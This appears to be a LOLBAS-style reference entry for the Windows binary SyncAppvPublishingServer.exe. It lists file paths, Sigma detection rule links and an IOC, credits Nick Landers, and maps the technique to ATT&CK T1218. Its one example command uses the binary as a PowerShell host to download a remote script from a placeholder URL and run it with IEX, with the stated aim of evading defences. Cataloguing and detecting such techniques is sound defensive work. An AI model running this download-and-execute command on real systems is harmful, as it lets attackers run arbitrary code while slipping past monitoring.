.. /SyncAppvPublishingServer.exe

Star

Paths:

• C:\Windows\System32\SyncAppvPublishingServer.exe
• C:\Windows\SysWOW64\SyncAppvPublishingServer.exe

Resources:

• https://twitter.com/monoxgas/status/895045566090010624

Acknowledgements:

• Nick Landers (@monoxgas)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml
• IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed

Execute

1. Example command on how inject Powershell code into the process

   SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"

   Use case

   Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows 10 1709, Windows 10 1703, Windows 10 1607

   ATT&CK® technique

   T1218